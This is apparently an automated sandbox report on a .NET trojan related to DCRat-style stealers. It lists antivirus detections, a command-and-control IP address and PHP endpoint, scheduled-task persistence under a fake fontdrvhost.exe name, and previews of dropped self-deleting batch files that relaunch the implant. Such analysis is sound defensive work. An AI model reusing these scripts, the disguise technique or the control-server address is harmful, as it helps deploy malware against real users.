Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ZT3pxe2Tb4.exe	87%	ReversingLabs	ByteCode-MSIL.Trojan.Zusy
ZT3pxe2Tb4.exe	73%	Virustotal		Browse
ZT3pxe2Tb4.exe	100%	Avira	HEUR/AGEN.1323342
ZT3pxe2Tb4.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\6WkFIbRMFr.bat	100%	Avira	BAT/Runner.IK
C:\Users\user\AppData\Local\Temp\I3W1TCNLwG.bat	100%	Avira	BAT/Runner.IK
C:\Users\user\AppData\Local\Temp\s2nU7uS06N.bat	100%	Avira	BAT/Runner.IL
C:\Users\user\Desktop\DACRVJoK.log	100%	Avira	HEUR/AGEN.1362695
C:\Users\user\AppData\Local\fontdrvhost.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\ZMh4UPVO0I.bat	100%	Avira	BAT/Runner.IL
C:\Users\user\Desktop\CgRzmzKC.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\AppData\Local\Temp\OwDUg2gYJx.bat	100%	Avira	BAT/Runner.IK
C:\Users\user\Desktop\ELDRalsN.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\AppData\Local\Temp\wuC6fcDv5B.bat	100%	Avira	BAT/Runner.IK
C:\Users\user\AppData\Local\Temp\Gu3WPocxsu.bat	100%	Avira	BAT/Runner.IL
C:\Users\user\AppData\Local\Temp\7nxekELsf0.bat	100%	Avira	BAT/Runner.IK
C:\Users\user\Desktop\CGTrJaEm.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\Desktop\AFOsBjYP.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\AppData\Local\Temp\e2HUAivGfO.bat	100%	Avira	BAT/Runner.IK
C:\Users\user\AppData\Local\Temp\3IMqqsTTOd.bat	100%	Avira	BAT/Runner.IK
C:\Users\user\Desktop\CTQIQVae.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\CkrRJHNx.log	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\fontdrvhost.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\AaPSReOe.log	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\fontdrvhost.exe	87%	ReversingLabs	ByteCode-MSIL.Trojan.Zusy
C:\Users\user\AppData\Local\fontdrvhost.exe	73%	Virustotal		Browse
C:\Users\user\Desktop\AFOsBjYP.log	17%	ReversingLabs
C:\Users\user\Desktop\AFOsBjYP.log	20%	Virustotal		Browse
C:\Users\user\Desktop\AaPSReOe.log	5%	ReversingLabs
C:\Users\user\Desktop\AaPSReOe.log	7%	Virustotal		Browse
C:\Users\user\Desktop\BxnIYuRz.log	12%	ReversingLabs
C:\Users\user\Desktop\BxnIYuRz.log	4%	Virustotal		Browse
C:\Users\user\Desktop\CGTrJaEm.log	67%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\CGTrJaEm.log	69%	Virustotal		Browse
C:\Users\user\Desktop\COTaDrJc.log	10%	ReversingLabs
C:\Users\user\Desktop\COTaDrJc.log	21%	Virustotal		Browse
C:\Users\user\Desktop\CQeYyQPa.log	8%	ReversingLabs
C:\Users\user\Desktop\CQeYyQPa.log	6%	Virustotal		Browse
C:\Users\user\Desktop\CTQIQVae.log	5%	ReversingLabs
C:\Users\user\Desktop\CTQIQVae.log	7%	Virustotal		Browse
C:\Users\user\Desktop\CdkYHFFH.log	9%	ReversingLabs
C:\Users\user\Desktop\CdkYHFFH.log	6%	Virustotal		Browse
C:\Users\user\Desktop\CgRzmzKC.log	67%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\CgRzmzKC.log	69%	Virustotal		Browse
C:\Users\user\Desktop\CkrRJHNx.log	12%	ReversingLabs
C:\Users\user\Desktop\CkrRJHNx.log	8%	Virustotal		Browse
C:\Users\user\Desktop\DACRVJoK.log	12%	ReversingLabs
C:\Users\user\Desktop\DACRVJoK.log	7%	Virustotal		Browse
C:\Users\user\Desktop\DEcjsSrF.log	12%	ReversingLabs
C:\Users\user\Desktop\DEcjsSrF.log	4%	Virustotal		Browse
C:\Users\user\Desktop\DQsQlVoZ.log	12%	ReversingLabs
C:\Users\user\Desktop\DQsQlVoZ.log	4%	Virustotal		Browse
C:\Users\user\Desktop\DdBAnNSZ.log	12%	ReversingLabs
C:\Users\user\Desktop\DdBAnNSZ.log	4%	Virustotal		Browse
C:\Users\user\Desktop\DnshUSLJ.log	17%	ReversingLabs
C:\Users\user\Desktop\DnshUSLJ.log	4%	Virustotal		Browse
C:\Users\user\Desktop\ELDRalsN.log	8%	ReversingLabs
C:\Users\user\Desktop\ELDRalsN.log	4%	Virustotal		Browse
C:\Users\user\Desktop\EOpBrqDR.log	9%	ReversingLabs
C:\Users\user\Desktop\EOpBrqDR.log	6%	Virustotal		Browse
C:\Users\user\Desktop\EQFIYaOX.log	17%	ReversingLabs
C:\Users\user\Desktop\EQFIYaOX.log	6%	Virustotal		Browse
C:\Users\user\Desktop\FWXhQVXq.log	17%	ReversingLabs
C:\Users\user\Desktop\FWXhQVXq.log	20%	Virustotal		Browse
C:\Users\user\Desktop\FWzHsBqG.log	9%	ReversingLabs
C:\Users\user\Desktop\FWzHsBqG.log	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://89.23.98.225	0%	Avira URL Cloud	safe
http://89.23.98.225/8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generato	0%	Avira URL Cloud	safe
http://89.23.98.225/8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php	0%	Avira URL Cloud	safe
http://89.23.98.225/8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generato	0%	Virustotal		Browse
http://89.23.98.225/8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php	0%	Virustotal		Browse
http://89.23.98.225	0%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://89.23.98.225/8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://89.23.98.225	fontdrvhost.exe, 00000008.00000002.1704980568.0000000003102000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 0000000E.00000002.1796124572.00000000035D7000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000015.00000002.1883168171.0000000003347000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 0000001B.00000002.1932041291.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000022.00000002.2017458339.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000023.00000002.2120982731.00000000033F7000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 0000002A.00000002.2116613612.0000000003855000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000033.00000002.2490608916.000000000363C000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000034.00000002.2251980191.0000000002F84000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://89.23.98.225/8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generato	fontdrvhost.exe, 00000034.00000002.2251980191.0000000002F84000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ZT3pxe2Tb4.exe, 00000000.00000002.1647722543.0000000003A79000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000008.00000002.1704980568.0000000003102000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 0000000E.00000002.1796124572.00000000035D7000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000015.00000002.1883168171.0000000003347000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 0000001B.00000002.1932041291.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000022.00000002.2017458339.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000023.00000002.2120982731.00000000033F7000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 0000002A.00000002.2116613612.0000000003855000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000033.00000002.2490608916.000000000363C000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000034.00000002.2251980191.0000000002F84000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
89.23.98.225	unknown	Russian Federation		48687	MAXITEL-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1417387
Start date and time:	2024-03-29 07:36:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	65
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZT3pxe2Tb4.exe renamed because original name is a hash value
Original Sample Name:	4164D5955C244FF266C1CC41013FE21A.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@93/244@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:36:56	Task Scheduler	Run new task: fontdrvhost path: "C:\Users\user\AppData\Local\fontdrvhost.exe"
06:36:56	Task Scheduler	Run new task: fontdrvhostf path: "C:\Users\user\AppData\Local\fontdrvhost.exe"
07:37:00	API Interceptor	9x Sleep call for process: fontdrvhost.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MAXITEL-ASRU	919KMNiWfM.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	89.23.96.177
	WyuZdl33w7.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	89.23.96.177
	q3JT7kcpCR.exe	Get hash	malicious	DCRat	Browse	89.23.97.121
	qqeng.pdf.lnk	Get hash	malicious	RHADAMANTHYS	Browse	89.23.98.210
	Instruction.pdf.lnk	Get hash	malicious	Unknown	Browse	89.23.98.210
	ArfJNHXaQ4.exe	Get hash	malicious	PureLog Stealer, RisePro Stealer	Browse	89.23.99.219
	whitelist.pdf.lnk	Get hash	malicious	Unknown	Browse	89.23.98.210
	ChromeSetup.exe.lnk	Get hash	malicious	Unknown	Browse	89.23.98.210
	install.pdf.lnk	Get hash	malicious	RHADAMANTHYS	Browse	89.23.98.210
	Instruction.pdf.lnk	Get hash	malicious	RHADAMANTHYS	Browse	89.23.98.210

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\AaPSReOe.log	O5OjRoFGIW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	iY40ylvr5y.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	qObijSd3Uj.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	2EHDj2G1ow.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	k6AIKkidxG.exe	Get hash	malicious	DCRat	Browse
	file.exe	Get hash	malicious	DCRat	Browse
	Um5hcJ3WPo.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	y48nZSvYdA.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	919KMNiWfM.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	WyuZdl33w7.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
C:\Users\user\Desktop\AFOsBjYP.log	O5OjRoFGIW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	iY40ylvr5y.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	7GTGpZi6oi.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	GWCscceJsW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	QHZoYVBjSD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	qObijSd3Uj.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	2EHDj2G1ow.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	UU5WXfH85a.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	k6AIKkidxG.exe	Get hash	malicious	DCRat	Browse
	vFfb4XhxQq.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\5b884080fd4f94

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	ASCII text, with very long lines (917), with no line terminators
Category:	dropped
Size (bytes):	917
Entropy (8bit):	5.900948306563715
Encrypted:	false
SSDEEP:	24:6cF0/r8duy8wnaq0Ml0lJ5wsV19jVuy6/Iku1/LU5V9:A4n8wnaDocQQ90y6/O/4J
MD5:	B8545BA39B8A7B3EA05F4EF0CE53D95B
SHA1:	33B779ACB3FFDCFE8447D970E2E8E83F0BF5D749
SHA-256:	BE89C6D26AA1DA38C7371EE80E805CDA89940C734D8C9869F6FB4E1284917D3F
SHA-512:	6F12B7C0FEF7451D040C33A42D9B0E61213A6E01A357A3064C95FA918CA45FD25C056A8B5F51C59EC60DBFCB6C0E128C98CE1DFA0506329E11707DFB94FFAAD5
Malicious:	false
Preview:	WuxZGHcBQLJHQjqXl8qUHNMG4xmBPjXfsDCuC0H4DXbWJZalmvm3JixIiqfSeawqxoZMg6Uu0wRuw07fWAZe6eWJQ4MWVyZmkuif9OFpa2CXRCWrsA6eBStTSP6lu7YBWpKBRcfI5tDEb82OienV25lRAONuRd5ddBAl2UZQeyiRPp2TXsDPTDJbE2ACPv0cxkla7RVOEX0DWTBVW4XjZqJa1jh9TXBt8GdpEcVGWzK6MFEu0pqVYQCHaKiYtW4rVGFQzWR4iQNkfMNwfwIorqVrDWO347WA4dlFAx5eXvwHDcmO7v26NQAovXMdHYAl4MpClHwr1oQ54OoluA5IEawnc6UmlbW9uKM0wjnz9LEjAFugtltHc2heaCjowKGaRQKtBxzKWGI3VNnXMy2AsPg2nsauA8CzEoRt4Ae6viuWtoINYMc8RGrCtSGTXFJXDTyq53dLT6OJeKJ8jNVxgEh87P9m3LiqZWTZ0cRetRpV1hhjIItKtW19vztq30RIXhuH1tIH50EPYMGZradvbY7CfToAslk29g7TwarZ9mO2RmkisT8dXfq8krmhFIYUQLP2PwnRsEwzKFv2tFRZmHfe08tExJT0O3mFXsT6qruSt1yf6uyA18sIqvCQDidiv5lRcpfAwVt4WNu8KOIDVT9PLdZlqC2HOLhxQgCROxOfPywdADFyaZNc5VG9P4UtclqKq7snL0zhEeAWq6km7Dry8E14aCBUcfDnHlwDVbnjkqXbVtTTTswY41MlFxNJyeEjaWPEJhRfaHNSrajrtsButosPZL8hOdvFlxA8dOJvbQ7wo33pOfaFdU0wo9o8jtQ7WIq3ZkNejPTcq5lfRSTtDplR7OUejLMr9AafM9PnR5gOAYFsXJqQah3rgZ6LQt5YDlcpfFSSDpbHIXQiI

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ZT3pxe2Tb4.exe.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1915
Entropy (8bit):	5.363869398054153
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIs0HKjJHVHmHKlT4vHNpv:iqbYqGSI6oPtzHeqKktwmj0qV1GqZ4vb
MD5:	0C47412B6C6EF6C70D4B96E4717A5D3B
SHA1:	666FCC7898B52264D8A144600D7A3B0B59E39D66
SHA-256:	0B3F6655476FA555F55859443DE496AF7279529D291EF9745C22C5C283B648F9
SHA-512:	4E51FCBCA176BF9C5175478C23AE01445F13D9AC93771C7F73782AF9D98E8544A82BBFB5D3AA6E2F3ECF1EFB59A8466EB763A30BD795EFE78EE46429B2BEAC6C
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fontdrvhost.exe.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1915
Entropy (8bit):	5.363869398054153
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIs0HKjJHVHpHNpaHKlT4x:iqbYqGSI6oPtzHeqKktwmj0qV1Jtpaq2
MD5:	73E7DD0D3AE6532ADBC6411F439B5DE3
SHA1:	427BE8DB5338D856906C1DDFBD186319A02F7567
SHA-256:	A80934D9E4D8FC0BBE46BD76A4FE0F66125C03B5A8F83265420242BE975DC8EE
SHA-512:	33FD10A43B9E16EAF568113F7298D34A730D9040693473A15739AED86228828095E42E16617D06F52363F970D517AD7D052FE520A9924EEC0A93F657CB631855
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

C:\Users\user\AppData\Local\Temp\3IMqqsTTOd.bat

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.061279544314783
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9m1t+kiE2J5DQDWCSBktKcKZG1t+kiE2J5xAIdoUJf:hCRLuVFOOr+DE1wkn238GKOZG1wkn235
MD5:	D87CA980DB5E8FB9F78181AAF84F3564
SHA1:	FCD3953587B76A041A2DF96DF94AB0A24F36A912
SHA-256:	E957690A3C212FD8A7D58AF8940B4DADAF8EB526EB223F907FC43F31E3BEB733
SHA-512:	155F247762B10098A6E612165AD972B87402DC109B93B1718DC2C8B44E94F2C8E461B21B707F60FAA056DB44D59BC7B8879A602B1B5CA5C395CE0097336BC9BF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Users\user\AppData\Local\fontdrvhost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\3IMqqsTTOd.bat"

C:\Users\user\AppData\Local\Temp\6WkFIbRMFr.bat

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.103982904593541
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9m1t+kiE2J5DQDWCSBktKcKZG1t+kiE2J5xAIMOBC:hCRLuVFOOr+DE1wkn238GKOZG1wkn23M
MD5:	07C88661B481CAD88B40404099C4CC0E
SHA1:	A22A8F5933605C8B08FB680FEB494A8538D90A05
SHA-256:	284EF516360450DF6C3DEA46D09E0D652D185043D658B0746C54DE5DDFFCFA91
SHA-512:	C0DB3314E97D0B9BCE525BEB3238DC2E285EE860B1C7709AADC25427F2B9CBCA21DC2DDD85D4BCB0379BB3354A75AC78F556CB97928649379C5B77CC0285A06A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Users\user\AppData\Local\fontdrvhost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\6WkFIbRMFr.bat"

C:\Users\user\AppData\Local\Temp\7nxekELsf0.bat

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.013740920164111
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9m1t+kiE2J5DQDWCSBktKcKZG1t+kiE2J5xAIqqhn:hCRLuVFOOr+DE1wkn238GKOZG1wkn23F
MD5:	4B3FE765B941CC186043E2CDA941073B
SHA1:	02BD199725BAF725AB45BB6D885D343DC2B89A99
SHA-256:	1FE7F83D85A1CECD83BC027A6E4AA5B3C1E239DEC1470EE42CD9845AD3DC8876
SHA-512:	B747A27A432961671D0B10910A07B37DC6746013AC8BC7E79208579791FF08EF39880479164E46E9AFB8A3C4206B053082EC5A99EA77E3E4D358029DC741EF92
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Users\user\AppData\Local\fontdrvhost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\7nxekELsf0.bat"

C:\Users\user\AppData\Local\Temp\9a5gxuAtmR

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.213660689688185
Encrypted:	false
SSDEEP:	3:hUPa3pHLC:hgep2
MD5:	EC3D490E692003B3F06CF3ED8CEFEBC8
SHA1:	49E827AF66EACAB930A1D41CE9DB3934E8BED1C4
SHA-256:	BC825A8B016DCA231750437BC084017065555C3E85C0DFBB8A7BC6252E601CE7
SHA-512:	5A5C7A43895E01E4A820F96B3072301A0C214AE508D23794AA290633E29C2DC79294236A39970A8019F2D095E7E5424BD5DD02385291B211C468B9F3121A7143
Malicious:	false
Preview:	aW9ILXDC37L6EzWOErHgLbjVg

C:\Users\user\AppData\Local\Temp\Gu3WPocxsu.bat

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	220
Entropy (8bit):	5.028872750660074
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DE1wkn238GKOZG1wkn23fb0:HTg9uYDEmfHfI
MD5:	3A292AABD3E44257FD8A7EE6DBED7E09
SHA1:	2810D68994A7375D719CDFD3DDD90FE29E6E8CE9
SHA-256:	0983E85255C0D2E7D3226548BBA056FF7FA7DCC08638F8D9ECF68D8F72F7109B
SHA-512:	EA59220357F6B3F6F27DBDED27B084634F16439F6D67EC410178878DA8577C3955AF4BE3FD7DBE766222812DC1C3D22BFE19116B2C18A1F19D047B1045F5D3F3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Users\user\AppData\Local\fontdrvhost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\Gu3WPocxsu.bat"

C:\Users\user\AppData\Local\Temp\HB2xslwwvT

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.323856189774723
Encrypted:	false
SSDEEP:	3:U8oSm:U8e
MD5:	3E8C6A3FFB19DEBE2248F7EF5E567E1C
SHA1:	29F09C502F858739EE2BA2438FB54A075D3BEDD8
SHA-256:	F91C663966C01F752EA30A24BCF748456ACFE0786A2B7C69EB105AE5C4D99A18
SHA-512:	7466210466C7B3A6057ACCCEAB6132587E587859DC08EF6544BE7655671B38543135DAA47CBC0EE38DC9347A497C4343B7CCE98FDE2A7C9A18EF3D485EB914CF
Malicious:	false
Preview:	rbbjzADJctN2A8QwNMB90CU7C

C:\Users\user\AppData\Local\Temp\Haf5RcGt9x

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.0536606896881855
Encrypted:	false
SSDEEP:	3:NOqvQs4:CR
MD5:	DFA6EB90735BF4BF6A1FCBFE2ACC5DDE
SHA1:	15878133E6B4497286C77D1F084DDD97F2BD734D
SHA-256:	0E078D58F65DC936DA3CA95B2193D23E26591069AB5AB3E984818D0D3FF72F36
SHA-512:	76594A1F1E5C48E2CFFBB56E3855C5E9566523708ACC7A59749D07300E72DD8FD719592B02738FFCE6682314EAD96CB4344FFB4B2F86D453E20496F2AB689B1A
Malicious:	false
Preview:	DDXiAILY5ZMR0YMuGviIJXDol

C:\Users\user\AppData\Local\Temp\I3W1TCNLwG.bat

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.100174636965321
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9m1t+kiE2J5DQDWCSBktKcKZG1t+kiE2J5xAIduHERH:hCRLuVFOOr+DE1wkn238GKOZG1wkn23l
MD5:	E6B2FE52B6E78462FAABD15DF64ADF63
SHA1:	D01AB1667A943A0E36ACE20BB5D37B77AF3075BA
SHA-256:	2472BCDC75D3866723B45A43A6EE564D2AA0C0EBFE27CBEFB44EEE3DCAF0D718
SHA-512:	B5D30E6AB5D3AFD78F69651499F6D8DD5F49A0A08CB9CC0C65592F332175BC3C8FAAB3587BE255583A666F1D6F7B5849DDE279EC7681FE8A3BA8CED444F507C2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Users\user\AppData\Local\fontdrvhost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\I3W1TCNLwG.bat"

C:\Users\user\AppData\Local\Temp\IlQIezJnYm

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
